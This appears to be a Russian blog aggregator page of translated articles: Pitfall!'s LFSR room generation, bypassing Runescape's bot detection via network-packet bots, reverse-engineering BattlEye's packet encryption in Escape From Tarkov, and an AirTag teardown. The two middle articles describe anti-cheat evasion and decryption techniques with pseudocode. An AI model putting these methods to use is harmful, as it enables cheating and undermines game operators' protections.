Но это ведь не важно, в самом картридже ведь будет достаточно места? Ну, в какой-то мере да. В то время картриджи Atari 2600 обычно содержали 4 КБ ПЗУ, подавляющее большинство которого приходилось занимать кодом игры. Даже если опустить необходимость хранения кода, на каждую комнату можно выделить всего 16 байт, а ведь код всё равно нужно где-то хранить.

Примечание: адресуемое пространство в Atari 2600 составляло всего 2 КБ. Использование 4 КБ было возможно благодаря технике под названием переключение банков (bank switching).

Так как же Крэйн справился с такими ограничениями пространства при создании игры?

Процедурная генерация


Чтобы создать большой мир, не сохраняя много данных, нужно, чтобы его генерировал код.

Однако самая большая проблема такого решения заключается в том, что сгенерированные данные нужно куда-то сохранять. Именно так поступают игры типа Rogue и Minecraft. Они случайным образом генерируют миры, чтобы дать игрокам разнообразие, но после генерации данных они их сохраняют. Ограничения Atari не позволяли воспользоваться этой роскошью.

Крэйн обошёл эту проблему двумя способами. Первый заключался в особенностях хранения схемы комнаты в памяти, второй в принципе генерации этой схемы. Способ генерации схем, по сути, не требовал хранения в памяти ничего, кроме текущей комнаты, но подробнее об этом мы скажем ниже. Для начала мы узнаем, как задаётся текущая комната.

Описание комнаты


Для описания схемы всей комнаты Крэйн использовал всего один байт. Это может показаться невероятным, учитывая те действия, которые происходят в каждой комнате, но на самом деле всё довольно просто.

Байт, в котором хранится схема текущей комнаты, разделён на четыре части:

Биты 0-2: объекты


Первые три бита определяют типы создаваемых объектов. Эта система усложняется двумя аспектами, которые контролируют биты 3-5.

Во-первых, комната может содержать сокровище (если значения битов 3-5 равны 101). Если в ней есть сокровище, то обычный предмет, определяемый битами 0-2, не будет создан, и его место займёт соответствующее сокровище.

Во-вторых, существуют крокодилы (если значения битов 3-5 равны 100), при которых не создаются никакие другие объекты. Кроме того, если значения битов 0-2 равны 010, 011, 110 или 111, то создаётся лоза, позволяющая игроку раскачаться и перепрыгнуть через крокодилов. При всех других значениях лозы не будет и игроку придётся прыгать по головам крокодилов.

Примечание: я всегда записываю первым старший бит, поэтому 100 точнее было бы назвать битами с 5-й по 3-й.

Правила создания предметов и сокровищ:

Биты Предмет Сокровище
000 одно катящееся бревно деньги
001 два катящихся бревна серебро
010 два катящихся бревна золото
011 три катящихся бревна кольцо
100 одно неподвижное бревно деньги
101 три неподвижных бревна серебро
110 огонь золото
111 змея кольцо

(С этим было довольно сложно разобраться.)

Биты 3-5: тип ямы


Биты 3-5 контролируют тип ямы или ям, с которыми столкнётся игрок.

Биты Тип ямы
000 одна дыра в земле
001 три дыры в земле
010 ноль дыр в земле
011 ноль дыр в земле
100 крокодилы в воде
101 подвижная битумная яма с сокровищем
110 подвижная битумная яма
111 подвижные зыбучие пески

Подвижные битумные ямы без сокровища (биты 110) всегда имеют лозу, а если сокровище есть (биты 101), то над битумной ямой не будет лозы (благодарю Майка Ширальди за то, что сообщил мне это).

Биты 6-7: деревья


Биты 6 и 7 определяют паттерн деревьев. Это никак не влияет на геймплей, но даёт игроку ощущение смены локаций. Паттерны деревьев похожи друг на друга, поэтому я не буду вдаваться в подробности, но если вы хотите посмотреть, то они используются в комнатах 1, 2, 3 и 5, и имеют битовые паттерны 11, 10, 00 и 01.

Бит 7: подземная стена


Бит 7 также используется для того, чтобы управлять расположением подземной стены справа или слева. Он не управляет наличием стены, оно определяется в другой части кода, но если стена есть, то значение бита, равное 0, помещает её слева, а значение 1 справа.

Вот так единственный байт определяет структуру текущей комнаты. Но как я говорил, в памяти хранится только текущая комната. Это возможно благодаря способу, которым генерируются комнаты.

Регистры сдвига с линейной обратной связью


Описывающие комнату байты генерируются системой, которую Крэйн назвал полиномным счётчиком (polynomial counter); сегодня мы называем её регистром сдвига с линейной обратной связью (linear feedback shift register, LFSR).

LFSR это способ генерации псевдослучайных чисел по порождающему значению (seed): берётся двоичное число, выполняется логический сдвиг влево или вправо, а затем вычисляется входящий бит через линейную функцию исходных битов. Обычно этой функцией является последовательность из нескольких XOR.

В качестве примера давайте используем LFSR в Pitfall!

Когда игрок начинает игру, байт комнаты имеет шестнадцатеричное значение C4 (11000100 в двоичном виде, 196 в десятичном). Это порождающее значение (seed). Когда игрок переходит на одну комнату вправо, байт сдвигается влево, и младший бит (бит 0) становится XOR битов 3, 4, 5 и 7. Формула такова:

b0 b3' + b4' + b5' + b7'

Где + обозначает XOR, а апостроф бит в предыдущем состоянии. Этот паттерн имеет желательное свойство является LFSR максимальной длины, то есть создаёт каждое сочетание из 8 бит, за исключением одним нулей. Это позволяет миру Pitfall! и содержать максимальное количество комнат, и иметь равную вероятность любой битовой строки (повторюсь, за исключением нулей).

Примечание: + обозначает XOR, потому что сложение mod 2 эквивалентно операции XOR над битами.

То есть когда мы перемещаемся после первой комнаты вправо, байт меняет значение с 11000100 на 10001001. Все биты сдвигаются влево, а затем биту 0 присваивается значение 1, так как 1 = 0 + 0 + 0 + 1.

На ассемблере 6502 это было реализовано так:

; room' = room << 1 | (bit3 + bit4 + bit5 + bit7)LOOP_ROOM:  LDA ROOM  ASL  EOR ROOM  ASL  EOR ROOM  ASL  ASL  EOR ROOM  ASL  ROL ROOM  DEX  BPL LOOP_ROOM

Код целиком можно посмотреть здесь. Данный фрагмент начинается со строки 3012.

ROOM это байт, описывающий текущую комнату. Прежде чем переходить к тому, как он работает, важно обратить внимание на последние две строки и понять, почему всё это находится в цикле. Крэйн хотел, чтобы если Pitfall Harry (главный герой Pitfall!) находится в подземелье, то прохождение через комнату перемещало его через три комнаты. DEX выполняет декремент регистра X, а BPL выполняет ветвление, если результаты предыдущего вычисления не были отрицательными, поэтому Крэйн реализовал это поведение, задавая регистру X значение 2 перед вызовом этой подпроцедуры, если Гарри находится под землёй. В противном случае регистр X имеет значение 0 и зацикленность отсутствует.

Если точнее, ROOM это место в памяти, где находится байт, описывающий комнату.

Вот поэтому это цикл. Остальная часть кода, как часто бывает с ассемблером для Atari, довольно запутанна. Я пишу статью не про ассемблер 6502, поэтому не буду вдаваться в подробности, но, по сути, команды ASL (arithmetic shift left, арифметический сдвиг влево) перемещают биты в правильные позиции, а команды EOR (exclusive or, исключающее ИЛИ) выполняют XOR битов. В конце команда ROL (rotate left, вращение влево) сдвигает байт ROOM влево, записывая в бит 0 бит переноса. Этот бит переноса является результатом предыдущих EOR и ASL. Всё вышеописанное создаёт нужное поведение.

Если мы хотим увидеть каждую комнату, которую генерирует этот код, то можем воспользоваться приведённым ниже кодом ассемблера 6502, который обходит в цикле приведённый выше код, пока байт не вернётся к начальному значению, и сохраняет каждй сгенерированный байт по порядку в адреса с $00 по $FF (с 0 по 255).

  LDA #0          ; initialize address offset to 0  TAXdefine ROOM $00define SEED $C4  LDA #SEED  STA ROOMLOOP_ROOM:        ; do all the LFSR stuff  ASL  EOR ROOM  ASL  EOR ROOM  ASL  ASL  EOR ROOM  ASL  ROL ROOM  LDA ROOM  INX             ; increment address offset  STA $00,X       ; store generated byte  CMP #SEED       ; stop if we complete a cycle  BEQ STOP  JMP LOOP_ROOM   ; get next room byteSTOP:  BRK

Примечание: хороший эмулятор 6502 можно найти здесь.

Но всё это не даёт понимания того, почему дизайн Крэйна был настолько гениальным. Выше описывается происходящее, когда мы идём вправо, но что если мы пойдём влево, чтобы вернуться в предыдущую комнату? Восемь битов, описывающих эту комнату, никогда не сохраняются в памяти; в памяти хранится только текущая комната. Как Pitfall! реализует движение влево? При помощи этого LFSR:

b7 b4' + b5' + b6' + b0'

Примечание: я достаточно вольно обращаюсь с терминологией. Строго говоря, LFSR называется регистр, с которым производят действия, но здесь я буду называть этим термином формулу, вычисляющую входящий бит.

Этот LFSR примечателен тем, что является инверсией предыдущего. Каждый раз, когда игрок идёт влево, этот LFSR отменяет последнее действие, сделанное LFSR, когда игрок шёл вправо. Здесь и далее я буду называть этот LFSR левым LFSR, а предыдущий правым LFSR.

На ассемблере 6502 левый LFSR был реализован следующим образом:

; room' = room >> 1 | ((bit4 + bit5 + bit6 + bit0) * 128)LOOP_ROOM:  LDA ROOM  ASL  EOR ROOM  ASL  EOR ROOM  ASL  ASL  ROL  EOR ROOM  LSR  ROR ROOM  DEX  BPL LOOP_ROOM

Можно заметить, что этот LFSR тоже имеет метку LOOP_ROOM. Её мы взяли из дизассемблированного кода, потому что не знаем, как сам Крэйн назвал этот фрагмент кода, но то, что они имеют одинаковую метку это вполне нормально. Так получилось потому, что команды ветвления (например, BPL) могут выполнять смещение счётчика программ максимум на 255, а эти две метки разделены более чем тысячей команд. Чтобы перемещаться на более дальние расстояния, потребуется или JMP или JSR, то есть команды безусловных переходов.

Давайте минуту поразмыслим над тем, чего добился Крэйн. Он нашёл LFSR, который является инвертируемым и имеет максимальную длину. Это очень впечатляющий программный трюк. Но не верьте мне на слово, что эти два LFSR являются обратными друг другу, я докажу это вам.

Операции LFSR игры Pitfall инвертируемы. Доказательство:


Рассмотрим последовательность из восьми бит B = b7b6b5b4b3b2b1b0. Используем Br для обозначения B, к которому применён правый LFSR и Bl для обозначения B, к которому применён левый LFSR. Мы хотим показать, что Brl = Blr = B. То есть мы хотим показать, что результат применения сначала правого, а потом левого LFSR, или сначала левого, а потом правого, аналогичны отсутствию действий.

Примечание: формально мы покажем, что композиция двух функций в любом порядке равна функции тождественности, то есть две функции по определению являются обратными друг другу.

Чтобы показать, что Brl = B, вспомним, что такое правый LFSR:

b0 b3' + b4' + b5' + b7'

Применив это уравнение к B = b7b6b5b4b3b2b1b0, мы получим следующее:

Бит 7 Бит 6 Бит 5 Бит 4 Бит 3 Бит 2 Бит 1 Бит 0
B b7 b6 b5 b4 b3 b2 b1 b0
Br__ b6 b5 b4 b3 b2 b1 b0 b3 + b4 + b5 + b7

Тогда применив левый LFSR, который, как мы помним, имеет вид:

b7 b4' + b5' + b6' + b0'

к Br, мы получим:

Бит 7 Бит 6 Бит 5 Бит 4 Бит 3 Бит 2 Бит 1 Бит 0
B b7 b6 b5 b4 b3 b2 b1 b0
Br b6 b5 b4 b3 b2 b1 b0 b3 + b4 + b5 + b7
Brl___ 2(b3 + b4 + b5) + b7 = b7 b6 b5 b4 b3 b2 b1 b0

И это подтверждает факт, что Brl = B. Доказательство того, что Blr = B, почти такое же, поэтому я оставлю его в качестве задания для читателя*.

* Всегда ненавидел, когда так писали в учебниках.

Сказанное выше можно подтвердить и простым кодом, поэтому если вы хотите попробовать, то вот маленькая программа на JavaScript. Я добавил в неё и функцию, перечисляющую все комнаты.

Вот так Pitfall! создаёт свой мир. Компактная запись в сочетании с инвертируемым регистром сдвига с линейной обратной связью.



Постскриптум: как я во всём этом разобрался


Можно решить, что информация о столь важной для истории и популярной игры, как Pitfall!, широко распространена и доступна в Интернете. Но на самом деле это не так.

Многие знали, что в игре используется LFSR, но способ его реализации, насколько я знаю, не описан подробно нигде, за исключением самого ассемблера. Но когда я нашёл проанализированную и откомментированную версию ассемблера, то оказалось, что представленное там описание LFSR на самом деле неверно! По крайней мере, неверно описание левого LFSR. Но ошибка была довольно очевидна, поэтому было несложно понять, как он реализуется на самом деле.

Примечание: изначально в комментарии говорилось, что за декрементом LFSR следовал XOR с битом 1 вместо бита 0. Теперь эта ошибка исправлена.

Гораздо сложнее было разобраться, как байт преобразуется в рендеринг мира. Нигде, ни в одном обсуждении, ни на одном сайте, ни в одной книге и даже в откомментированном исходном коде не было описания этой последовательности битов, соответствующей паттернам в комнате. Сначала я попробовал разобраться в ассемблере, но в написанном для Atari ассемблере столько оптимизаций и хаков, и в нём используется так много трюков, что мне стало очевидно: пришлось бы приложить слишком много усилий.

Как же я это сделал? Я написал небольшую программу для генерации последовательности LFSR (программу на JavaScript, ссылка на которую дана выше) и сравнил её с комнатами. Проведение этого анализа для бита 7, управляющего стороной экрана, на которой отрисовывалась подземная стена, было простой задачей, как и биты 6 и 7, управляющие деревьями. Но всё остальное оказалось довольно монотонным. Бесценным ресурсом для меня стала эта карта.

Меня удивило, что, насколько я могу судить, мне довелось первым подробно описать способ рендеринга мира в игре Pitfall!, но в то же время я разочарован. Если вы не смотрели этот доклад на GDC о сохранении истории игр, то вам точно стоит это сделать. В отличие от истории многих других дисциплин, история ПО сохраняется не очень хорошо, несмотря на то, что сохранить её должно быть проще всего. У нас не сохранился оригинальный исходный код почти ни одной игры для Atari, NES, SNES, ColecoVision, и так далее. Дизассемблированный код бесценен, но всё-таки это не оригинал. И он не позволяет прочитать комментарии разработчиков.

Возможно, нам повезёт, и у Activision, Atari и Nintendo где-то в хранилищах есть оригинальный код, который они опубликуют в свободном доступе ради блага человечества, но я бы не особо на это надеялся. Каждый, кто может, должен работать над сохранением любого возможного фрагмента истории, потому что сама себя она не сохранит.

Подробнее..

Перевод Как в Runescape ловят пользователей ботов, и почему они не поймали меня

19.04.2021 18:14:05 | Автор: admin

Автоматизация игроков всегда была большой проблемой в глобальных многопользовательских онлайновых ролевых играх (MMORPG), таких как World of Warcraft и Runescape, и этот вид взлома игр значительно отличается от традиционных читов, например в стрелялках. Однажды в выходные я решил взглянуть на системы обнаружения, созданные компанией Jagex для предотвращения автоматизации игроков в Runescape и вот что из этого вышло.


Использование ботов

Последние несколько месяцев игрок с учётной записью sch0u играл в World 67 круглосуточно, выполняя обычные задачи, такие как убийство мобов или сбор ресурсов. На первый взгляд игрок с этой учётной записью выглядит так же, как и любой другой игрок, но есть одно ключевое отличие это бот.

Я запустил этого бота ещё в октябре, чтобы протестировать возможности системы обнаружения ботов. Я попытался найти в Интернете информацию о том, как компания Jagex борется с создателями таких ботов, и нашёл только видео коммерческих ботов, создатели которых хвастались тем, что их системы перемещения мыши неотличимы от людей.

Поэтому единственный вывод, который мне удалось сделать, заключается в том, что движение мыши имеет значение.

Эвристика!

Я начал с анализа клиента Runescape, чтобы подтвердить эту теорию, и быстро заметил глобально вызываемую переменную hhk, которая задаётся вскоре после запуска.

const auto module_handle = GetModuleHandleA(0);hhk = SetWindowsHookExA(WH_MOUSE_LL, rs::mouse_hook_handler, module_handle, 0);

В результате на мышь устанавливается низкоуровневая hook-точка, добавляя её к общесистемной цепочке hook-точек. Это позволяет приложениям в Windows перехватывать все события мыши, независимо от того, связаны они с вашим приложением или нет. Низкоуровневые hook-точки часто используются клавиатурными шпионами, однако есть и законные случаи использования, такие как эвристика, подобная вышеупомянутой hook-точке мыши.

Обработчик мыши Runescape довольно прост по своей сути (следующий псевдокод красиво переписан вручную):

LRESULT __fastcall rs::mouse_hook_handler(int code, WPARAM wParam, LPARAM lParam){  if ( rs::client::singleton )  {      // Call the internal logging handler      rs::mouse_hook_handler_internal(rs::client::singleton->window_ctx, wParam, lParam);  }  // Pass the information to the next hook on the system  return CallNextHookEx(hhk, code, wParam, lParam);}void __fastcall rs::mouse_hook_handler_internal(rs::window_ctx *window_ctx, __int64 wparam, _DWORD *lparam){  // If the mouse event happens outside of the Runescape window, don't log it.  if (!window_ctx->event_inside_of_window(lparam))  {    return;  }  switch (wparam)  {    case WM_MOUSEMOVE:      rs::heuristics::log_movement(lparam);      break;case WM_LBUTTONDOWN:case WM_LBUTTONDBLCLK:case WM_RBUTTONDOWN:case WM_RBUTTONDBLCLK:case WM_MBUTTONDOWN:case WM_MBUTTONDBLCLK:  rs::heuristics::log_button(lparam);  break;  }}

С учётом пропускной способности эти функции rs::heuristics::log_* используют простые алгоритмы для пропуска данных событий, которые похожи на предыдущие зарегистрированные события.

Эти данные события позже анализируются функцией rs::heuristics::process, которая вызывается каждым фреймом в основном цикле рендеринга.

void __fastcall rs::heuristics::process(rs::heuristic_engine *heuristic_engine){  // Don't process any data if the player is not in a world  auto client = heuristic_engine->client;  if (client->state != STATE_IN_GAME)  {    return;  }  // Make sure the connection object is properly initialised  auto connection = client->network->connection;  if (!connection || connection->server->mode != SERVER_INITIALISED)  {    return;  }  // The following functions parse and pack the event data, and is later sent  // by a different component related to networking that has a queue system for  // packets.  // Process data gathered by internal handlers  rs::heuristics::process_source(&heuristic_engine->event_client_source);  // Process data gathered by the low level mouse hook  rs::heuristics::process_source(&heuristic_engine->event_hook_source);}

Вдали от клавиатуры?

Двигаясь в обратном направлении, я прилагаю усилия, чтобы узнать, насколько релевантна рассматриваемая функция, в первую очередь путём создания и применения hook-точек или патчей для рассматриваемой функции. Обычно заключение о релевантности функции можно получить, сделав её бесполезной и наблюдая за состоянием программного обеспечения. Эта методология приводит к интересному наблюдению.

Запретив игре вызывать функцию rs::heuristics::process, я сразу ничего не заметил, но ровно через пять минут вышел из игры. По-видимому, Runescape принимает решение о неактивности игрока просто по эвристическим данным, отправленным клиентом на сервер, хотя вы можете просто отлично играть в эту игру. Это породило новый вопрос: если сервер не считает, что я играю, то считает ли он, что я использую бота?

В результате я потратил несколько дней на реконструкцию сетевого слоя игры и смог использовать бота для выполнения почти всех действий при помощи только сетевых пакетов.

Чтобы доказать свою теорию, я использовал бот двадцать четыре часа в сутки, семь дней в неделю, даже не шевеля мышкой. Прошли тысячи часов, и я могу с уверенностью заявить, что обнаружение ботов компанией либо опирается на отправленные клиентом эвристические данные событий, либо запускается только тогда, когда игрок не находится в состоянии вдали от клавиатуры. Любого игрока, которому удаётся играть, не двигая мышью, следует немедленно забанить, то есть нынешний контроль имеет смысл пересмотреть.

Уязвимостей полно не только в играх, а с ростом цифровизации различных отраслей, многие недостатки безопасности вышли наружу и требуют серьезного внимания, а значит, растёт востребованность специалистов в сфере информационной безопасности, для обучения которых мы сделали специальный курс Этичный хакер. Если вам по душе искать пробелы в защите и получать за это вознаграждение добро пожаловать.Узнай, как прокачаться и в других областях работы с данными или освоить их с нуля:

Другие профессии и курсы

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Как мы взломали шифрование пакетов в BattlEye

20.04.2021 20:11:13 | Автор: admin

Недавно Battlestate Games, разработчики Escape From Tarkov, наняли BattlEye для реализации шифрования сетевых пакетов, чтобы мошенники не могли перехватить эти пакеты, разобрать их и использовать в своих интересах в виде радарных читов или иным образом. Сегодня подробно расскажем, как мы взломали их шифрование спустя несколько часов.


Анализ EFT

Мы начали с анализа самого "Escape from Tarkov". В игре используется Unity Engine, который, в свою очередь, использует C# промежуточный язык, а это означает, что можно очень легко просмотреть исходный код игры, открыв его в таких инструментах, как ILDasm или dnSpy. В этом анализе мы работали с dnSpy.

Unity Engine без опции IL2CPP генерирует игровые файлы и помещает их в GAME_NAME_Data\Managed, в нашем случае это EscapeFromTarkov_Data\Managed. Эта папка содержит все использующие движок зависимости, включая файл с кодом игры Assembly-CSharp.dll, мы загрузили этот файл в dnSpy, а затем искали строку encryption и оказались здесь:

Этот сегмент находится в классе EFT.ChannelCombined, который, как можно судить по переданным ему аргументам, работает с сетью:

Правый клик по переменной channelCombined.bool_2, которая регистрируется как индикатор того, было ли включено шифрование, а затем клик по кнопке Analyze показывают нам, что на эту переменную ссылаются два метода:

Второй из них тот, в котором мы сейчас находимся, так что, дважды щёлкнув по первому, мы окажемся здесь:

Вуаля!Есть вызов BEClient.EncryptPacket, клик по методу приведёт к классу BEClient, его мы можем препарировать и найти метод DecryptServerPacket. Этот метод вызывает функцию pfnDecryptServerPacket в библиотеке BEClient_x64.dll. Она расшифрует данные в пользовательском буфере и запишет размер расшифрованного буфера в предоставленный вызывающим методом указатель.

pfnDecryptServerPacket не экспортируется BattlEye и не вычисляется EFT, на самом деле он поставляется инициализатором BattlEye, который в какой-то момент вызывается игрой. Нам удалось вычислить RVA (Relative Virtual Address), загрузив BattlEye в свой процесс и скопировав то, как игра инициализирует его. Код этой программы лежит здесь.

Анализ BattlEye

В последнем разделе мы сделали вывод, что, чтобы выполнить все свои криптографические задачи, EFT вызывает BattlEye. Так что теперь речь идёт о реверс-инжинеринге не IL, а нативного кода, что значительно сложнее.

BattlEye использует защитный механизм под названием VMProtect, который виртуализирует и изменяет указанные разработчиком сегменты. Чтобы правильно выполнить реверс-инжинеринг защищённого этим обфускатором бинарника, нужно распаковать его.

Распаковка это дамп образа процесса во время выполнения; мы сделали дамп, загрузив его в локальный процесс, а затем поработав в Scylla, чтобы сбросить его память на диск.

Открытие этого файла в IDA, а затем переход к процедуре DecryptServerPacket приведут нас к функции, которая выглядит так:

Это называется vmentry, она добавляет на стек vmkey, а затем вызывает обработчика виртуальной машины vminit. Хитрость вот в чём: из-за того, что инструкции виртуализированы VMProtect, они понятны только самой программе.

К счастью для нас, участник Секретного Клуба can1357 сделал инструмент, который полностью ломает эту защиту, VTIL; его вы найдёте здесь.

Выясняем алгоритм

Созданный VTIL файл сократил функцию с 12195 инструкций до 265, что значительно упростило проект. Некоторые процедуры VMProtect присутствовали в дизассемблированном коде, но они легко распознаются и их можно проигнорировать, шифрование начинается отсюда:

Вот эквивалент в псевдо-Си:

uint32_t flag_check = *(uint32_t*)(image_base + 0x4f8ac);if (flag_check != 0x1b)goto 0x20e445;elsegoto 0x20e52b;

VTIL использует свой собственный набор инструкций, чтобы ещё больше упростить код. Я перевёл его на псевдо-Си.

Мы анализируем эту процедуру, войдя в 0x20e445, который является переходом к 0x1a0a4a, в самом начале этой функции они перемещают sr12 копию rcx (первый аргумент в соглашении о вызове x64 по умолчанию) и хранят его на стеке в [rsp+0x68], а ключ xor в [rsp+0x58]. Затем эта процедура переходит к 0x1196fd, вот он:

И вот эквивалент в псевдо-Си:

uint32_t xor_key_1 = *(uint32_t*)(packet_data + 3) ^ xor_key;(void(*)(uint8_t*, size_t, uint32_t))(0x3dccb7)(packet_data, packet_len, xor_key_1);

Обратите внимание, что rsi это rcx, а sr47 это копия rdx. Так как это x64, они вызывают 0x3dccb7 с аргументами в таком порядке: (rcx, rdx, r8). К счастью для нас, vxcallq во VTIL означает вызов функции, приостановку виртуального выполнения, а затем возврат в виртуальную машину, так что 0x3dccb7 не виртуализированная функция! Войдя в эту функцию в IDA и нажав F5, вы вызовете сгенерированный декомпилятором псевдокод:

Этот код выглядит непонятно, в нём какие-то случайные ассемблерные вставки, и они вообще не имеют значения. Как только мы отменим эти инструкции, изменим некоторые типы var, а затем снова нажмём F5, код будет выглядеть намного лучше:

Эта функция расшифровывает пакет в несмежные 4-байтовые блоки, начиная с 8-го байта, с помощью ключа шифра rolling xor.

Примечание от переводчика:

Rolling xor шифр, при котором операция xor буквально прокатывается [отсюда rolling] по байтам:

  • Первый байт остаётся неизменным.

  • Второй байт это результат xor первого и второго оригинальных байтов.

  • Третий байт результат XOR изменённого второго и оригинального третьего байтов и так далее. Реализация здесь.

Продолжая смотреть на ассемблер, мы поймём, что она вызывает здесь другую процедуру:

Эквивалент на ассемблере x64:

mov t225, dword ptr [rsi+0x3]mov t231, byte ptr [rbx]add t231, 0xff ; uhoh, overflow; the following is psuedomov [$flags], t231 u< rbx:8not t231movsx t230, t231mov [$flags+6], t230 == 0mov [$flags+7], t230 < 0movsx t234, rbxmov [$flags+11], t234 < 0mov t236, t234 < 1mov t235, [$flags+11] != t236and [$flags+11], t235mov rdx, sr46 ; sr46=rdxmov r9, r8sbb eax, eax ; this will result in the CF (carry flag) being written to EAXmov r8, t225mov t244, raxand t244, 0x11 ; the value of t244 will be determined by the sbb from above, it'll be either -1 or 0 shr r8, t244 ; if the value of this shift is a 0, that means nothing will happen to the data, otherwise it'll shift it to the right by 0x11mov rcx, rsimov [rsp+0x20], r9mov [rsp+0x28], [rsp+0x68]call 0x3dce60

Прежде чем мы продолжим разбирать вызываемую им функцию, мы должны прийти к следующему выводу: сдвиг бессмыслен из-за того, что флаг переноса не установлен, а это приводит к возвращаемому из инструкции sbb значению 0; в свою очередь, это означает, что мы не на правильном пути.

Если поискать ссылки на первую процедуру 0x1196fd, то увидим, что на неё действительно ссылаются снова, на этот раз с другим ключом!

Это означает, что первый ключ на самом деле направлял по ложному следу, а второй, скорее всего, правильный. Хороший Бастиан!

Теперь, когда мы разобрались с реальным ключом xor и аргументами к 0x3dce60, которые расположены в таком порядке: (rcx, rdx, r8, r9, rsp+0x20, rsp+0x28). Переходим к этой функции в IDA, нажимаем F5 и теперь прочитать её очень легко:

Мы знаем порядок аргументов, их тип и значение; единственное, что осталось, перевести наши знания в реальный код, который мы хорошо написали и завернули в этот gist.

Заключение

Это шифрование было не самым сложным для реверс-инжиниринга, и наши усилия, безусловно, были замечены BattlEye; через 3 дня шифрование было изменено на TLS-подобную модель, где для безопасного обмена ключами AES используется RSA. Это делает MITM без чтения памяти процесса неосуществимым во всех смыслах и целях.

Если вам близка сфера информационной безопасности то вы можете обратить свое внимание на наш специальный курс Этичный хакер, на котором мы учим студентов искать уязвимости даже в самых надежных системах и зарабатывать на этом.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Разбираем AirTag

11.05.2021 20:09:12 | Автор: admin

Самый миниатюрный продукт Apple, о котором долгое время ходили слухи (но это не электронный ключ), наконец-то добрался до Саманты Голдхарт автора статьи, переводом которой мы делимся в преддверии нового старта курса по iOS-разработке.

Добро пожаловать, AirTag! Интересно будет посмотреть, как AirTag со сменным аккумулятором (Да! Это первый сменный аккумулятор в продуктах Apple за последние годы!) будет выглядеть в сравнении с проверенными продуктами.


Устройства Apple и не-Apple

Сегодня в обзоре: Tile Mate, Galaxy SmartTag, Apple AirTag и 25-центовик для оценки размеровСегодня в обзоре: Tile Mate, Galaxy SmartTag, Apple AirTag и 25-центовик для оценки размеров

Для сравнения AirTag с конкурентами я взял ветерана рынка Tile Mate, а также Galaxy SmartTag производства Samsung. Из этих трёх устройств похожая на Mentos таблетка AirTag самая миниатюрная. Размером с монету в 50 центов, само устройство немногим больше своего аккумулятора. Tile самое тонкое из всех устройств, AirTag толще примерно в полтора раза, а если смотреть сбоку на SmartTag, то может показаться, что в нём могут уместиться целых два Tile. Apple, вероятно, желая сделать устройство максимально компактным, приняла нестандартное решение убрала из AirTag отверстие для брелока (эту проблему мы попробуем решить). Нечего и говорить, что ничто не сравнится с Apple в части превращения базовых функций в функции премиум в виде дополнительных приспособлений.

Но статья эта посвящена не только сравнению трекеров сегодня я подвергну разборке сразу три устройства! Сначала посмотрим на внутренности устройств с помощью рентгеновского аппарата Creative Electron.

Рентгеновские снимки Tile Mate, Galaxy SmartTag, Apple AirTag, и... да, четверть доллара (но как-то не тянет на законное платёжное средство, не находите?), сделанные с помощью аппарата Creative Electron (на правый крайний не смотрите)Рентгеновские снимки Tile Mate, Galaxy SmartTag, Apple AirTag, и... да, четверть доллара (но как-то не тянет на законное платёжное средство, не находите?), сделанные с помощью аппарата Creative Electron (на правый крайний не смотрите)

Как всегда, по рентгеновским снимкам можно много чего понять. Судя по плотности размещения элементов, уменьшать AirTag уже некуда. К слову о плотности элементов: относительно тёмный снимок AirTag объясняется наличием большого магнита в центральном динамике и стальной крышки аккумуляторного отсека рентгеновские лучи через них проникают слабо. (Более подробные изображения можно посмотреть на превосходной панорамной анимации.) По сравнению с AirTag другие трекеры кажутся просто великанами а в них даже нет магнитов. (Хотите узнать, почему? Читайте дальше!)

Панорама AirTag в рентгеновских лучах 360:

Несмотря на впечатляющую компактность AirTag, в этом устройстве удалось реализовать сверхширокополосные (СШП) функции. Кстати, сама по себе технология СШП довольно интересная вещь. Samsung только что выпустила СШП-версию трекера, получившего название SmartTag+, но прошло уже две недели после официального релиза, а аппарат до США пока ещё не добралась. Я пыталась раздобыть один экземпляр для разборки, но безуспешно.

Начинаем разборку

Все три трекера можно открыть пальцами без всяких инструментов! Однако AirTag открывается сложнее других, особенно если вы недавно пообедали и пытаетесь это сделать жирными пальцами. Представьте, что вам нужно открыть банку с солёными огурцами двумя скользкими пальцами, и тогда поймёте, что я имею в виду. В других трекерах имеются специальные углубления для ногтей, и крышки с них снимаются элементарно.

Свершилось! В продукте Apple можно самому заменить аккумулятор! По этому поводу даже составлена письменная инструкцияСвершилось! В продукте Apple можно самому заменить аккумулятор! По этому поводу даже составлена письменная инструкция

Во всех конкурирующих устройствах есть сменные батареи, поэтому Apple, по всей видимости, решила не отставать и продемонстрировать соответствие рыночному стандарту. Тем не менее воздадим Apple должное за это, сам AirTag будет работать дольше своего аккумулятора, у Tile на это ушло 6 лет и 15 миллионов проданных ранее устройств.

Apple могла бы снабдить устройство раздражающим всех портом Lightning или встроенной (бесполезной и малоэффективной) функцией беспроводной зарядки, чтобы AirTag мог заряжаться от зарядного устройства Apple Watch, но Apple этого не сделала, и спасибо ей за это. Однако в ранних патентных заявках AirTag должен был заряжаться с помощью индуктивного зарядного устройства. Предвестник грядущих технологий? Или ещё одно доказательство существования продукта Apple, которого никогда не было?

А что с питанием? Разбираем аккумулятор

AirTag получил весьма оригинальный номер модели: A2187 (ну-ка, из какого это фильма?), а в регламентирующей документации имеется указание на тип аккумулятора CR2032. Логично! В AirTag и SmartTag используются трёхвольтовые аккумуляторы CR2032, а в Tile более компактные CR1632. Если судить по стандартной номенклатуре кнопочных элементов, во всех аккумуляторах используются литиевые батареи, но 20-мм элементы имеют ёмкость 0,66 Втч, в то время как ёмкость 16-мм элементов Tile составляет всего около 0,39 Вт/ч. На первый взгляд, эти аккумуляторы весьма схожи с аккумуляторами наушников earbuds, но отличаются от них тем, что предназначены для длительной подпитки устройства малым током, что и позволяет им выполнять свои функции.

Вскрытые Tile Mate, Galaxy SmartTag и Apple AirTagВскрытые Tile Mate, Galaxy SmartTag и Apple AirTag

Самостоятельной сменой аккумулятора удобства пользователя как начинаются, так и заканчиваются для всего остального понадобятся не только пальцы.

Tile и SmartTag легко разбираются с помощью монтажной лопатки и нагрева, но с AirTag всё не так просто. Вместе с тем герметизация AirTag, как ни странно, оказалась не такой уж и качественной. Не буду отрицать: без инструментов у меня ничего бы не вышло, ведь всё-таки три зажима да на клею недурно. Чтобы швы разошлись, AirTag нужно аккуратно сжать тисками и потыкать монтажной лопаткой. Если вы точно решили разобрать AirTag, будьте осторожны! Клеевые зажимы легче сломать, чем отклеить.

